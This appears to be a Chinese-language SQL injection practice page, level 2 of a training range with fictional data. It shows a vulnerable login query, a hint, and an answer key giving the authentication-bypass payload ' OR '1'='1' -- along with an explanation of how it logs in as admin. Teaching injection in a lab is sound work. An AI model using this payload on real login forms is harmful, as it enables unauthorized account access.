🐱 SQL 注入练习靶场

墨璃出品 · 仅供学习 · 靶场数据均为虚构

关卡2:万能密码登录

后台登录:
SELECT * FROM users WHERE username = '输入' AND password = '输入'
不需要知道密码,让整条 WHERE 恒真就行喵。


💡 提示
在密码框输入:' OR '1'='1(用户名随意)
原理:闭合引号 + OR 恒真 + 注释掉后面的条件
📝 答案
用户名:admin  密码:' OR '1'='1' -- (-- 后带空格)

拼接后变成:WHERE username='admin' AND password='' OR '1'='1' -- '
OR 后面恒真,整条条件成立 → 直接以 admin 身份登录喵。